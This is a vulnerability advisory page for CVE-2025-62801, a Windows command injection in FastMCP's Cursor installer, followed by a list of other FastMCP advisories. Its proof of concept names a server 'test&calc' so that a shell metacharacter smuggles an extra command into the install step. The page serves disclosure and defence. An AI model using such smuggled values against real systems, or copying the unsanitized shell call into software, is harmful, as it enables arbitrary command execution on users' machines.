CVE-2025-62801: FastMCP vulnerable to windows command injection in FastMCP Cursor installer via server_name
Summary A command-injection vulnerability lets any attacker who can influence the servername field of an MCP execute arbitrary OS commands on Windows hosts that run fastmcp install cursor Details 1. generatecursordeeplink(servername, …) embeds servername verbatim in a cursor://…?name= query string. 2. opendeeplink() is invoked with shell=True only on Windows. That calls cmd.exe /c start . 3.
Published Oct 29, 2025
Affected packages
fastmcp
- Ecosystem
- PyPI
- Affected
- < 2.13.0
- Fixed in
- 2.13.0
- Check
pip show fastmcp
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A command-injection vulnerability lets any attacker who can influence the server_name field of an MCP execute arbitrary OS commands on Windows hosts that run fastmcp install cursor
Details
- generate_cursor_deeplink(server_name, …) embeds server_name verbatim in a cursor://…?name= query string.
- open_deeplink() is invoked with shell=True only on Windows. That calls cmd.exe /c start .
- Any cmd metacharacter inside server_name (&, |, >, ^, …) escapes the start command and spawns an attacker-chosen process.
PoC
server.py
import random
from fastmcp import FastMCP
mcp = FastMCP(name="test&calc")
@mcp.tool
def roll_dice(n_dice: int) -> list[int]:
"""Roll `n_dice` 6-sided dice and return the results."""
return [random.randint(1, 6) for _ in range(n_dice)]
if __name__ == "__main__":
mcp.run()then run in the terminal: fastmcp install cursor server.py
Impact
OS Command / Shell Injection (CWE-78) Every Windows host that runs fastmcp install cursor is at risk. Developers on their local workstations, CI/CD agents and corporate build machines alike.
Credited to nil340.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More FastMCP vulnerabilities
All FastMCP entriesCVE-2025-64340
FastMCP has a Command Injection vulnerability - Gemini CLI
medium6.7Mar 31, 2026CVE-2026-27124
FastMCP: Missing Consent Verification in OAuth Proxy Callback Facilitates Confused Deputy Vulnerabilities
high8.2Mar 31, 2026CVE-2026-32871
FastMCP OpenAPI Provider has an SSRF & Path Traversal Vulnerability
critical10.0Mar 31, 2026CVE-2025-69196
FastMCP OAuth Proxy token reuse across MCP servers
high7.4Mar 16, 2026GHSA-rcfx-77hg-w2wv
FastMCP updated to MCP 1.23+ due to CVE-2025-66416
highDec 26, 2025CVE-2025-62800
FastMCP vulnerable to reflected XSS in client's callback page
medium5.3Oct 29, 2025
